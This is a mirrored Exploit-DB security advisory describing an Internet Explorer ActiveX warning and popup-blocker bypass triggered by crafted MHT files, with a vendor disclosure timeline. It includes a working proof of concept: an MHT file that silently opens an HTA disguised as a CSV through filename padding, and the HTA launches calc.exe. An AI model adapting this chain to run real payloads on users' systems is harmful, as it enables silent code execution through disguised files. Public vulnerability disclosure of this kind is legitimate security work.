Microsoft Internet Explorer / ActiveX Control – Security Bypass

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作者： hyp3rlinx

日期： 2021-12-14
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/50598/

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# Exploit Title: Microsoft Internet Explorer / ActiveX Control - Security Bypass

# Exploit Author: John Page (aka hyp3rlinx)

# Website: hyp3rlinx.altervista.org

# Source:http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-ACTIVEX-CONTROL-SECURITY-BYPASS.txt

# twitter.com/hyp3rlinx

# ISR: ApparitionSec

[Vendor]

www.microsoft.com

[Product]

Microsoft Internet Explorer (MSIE)

Internet Explorer is a discontinued series of graphical web browsers

developed by Microsoft and included in the Microsoft Windows line of

operating systems, starting in 1995.

[Vulnerability Type]

ActiveX Control Security Bypass

[CVE Reference]

N/A

[Security Issue]

Upon opening a specially crafted .MHT file on disk, Internet Explorer

ActiveX control warnings as well as popup blocker privacy settings are

not enforced.

This can allow the execution of ActiveX content with zero warning to

an unsuspecting end user and or force them to visit arbitrary attacker

controlled websites.

By default when opening browser associated files that contain active

content, MSIE restricts scripts from running without explicit user

interaction and permission.

Instead end users are presented with a yellow warning bar on the

browsers webpage, asking first if they wish to allow the running of

blocked content.

This prevents execution of active content scripts or controls without

the user first clicking the "Allow blocked content" warning bar.

However, specially crafted MHT files residing on disk that contain an

invalid header directive suppress ActiveX warnings and Popup blocker

privacy settings.

Therefore, to bypass Internet Explorer "active content" blocking,

files needs to contain an Content-Location header using an arbitrary

named value E.g.

"Content-Location: PBARBAR"

Note, often times MHT files are set to open in IE by default and IE

while discontinued it is still present on the Windows OS.

Tested successfully on Windows 10 latest fully patched version with

default IE security settings.

Expected result: ActiveX control security warning, prevention of code

execution and blocking browser popup windows.

Actual result: No ActiveX control code execution blocking, security

warnings or browser window popup blocking enforcement.

[PoC Requirements]

MHT file must reside on disk, think targeted attack scenarios.

[Exploit/POC]

Change [VICTIM] value below to a specified user for testing.

1) Create the MHT PoC file.

"MSIE_ActiveX_Control_Security_Bypass.mht"

From:

Subject:

Date:

MIME-Version: 1.0

Content-Type: multipart/related; type="text/html";

boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"

This is a multi-part message in MIME format.

--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001

Content-Type: text/html; charset="UTF-8"

Content-Location: DOOM

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"

"http://www.w3.org/TR/html4/transitional.dtd">

<html>

<head>

</head>

<body>

win=window

win.open("http://www.microsoft.com","","width=600,height=600")

var args = ['height='+1,'width='+1,].join(',')

setTimeout("", 3000)

var pop = win.open('c:/Users/[VICTIM]/Desktop/Sales_Report_2021.csv

________________________________________________________.hta', 'pop',

args)

pop.moveTo(2000,2000)

</script>

</body>

</html>

--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--

2) Create the PoC HTA file.

"Sales_Report_2021.csv

________________________________________________________.hta"

<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no"

SYSMENU="no"CAPTION="no" />

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run("calc.exe")

</script>

3) Open the MHT file locally.

[Network Access]

Local

[POC/Video URL]

https://www.youtube.com/watch?v=UCSqFbYUvBk

[Disclosure Timeline]

Vendor Notification:May 13, 2019

MSRC : July 2, 2019

"We determined that a fix for this issue will be considered in a

future version of this product or service.

At this time, we will not be providing ongoing updates of the status

of the fix for this issue, and we have closed this case."

December 5, 2021 : Public Disclosure

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of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The

author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).

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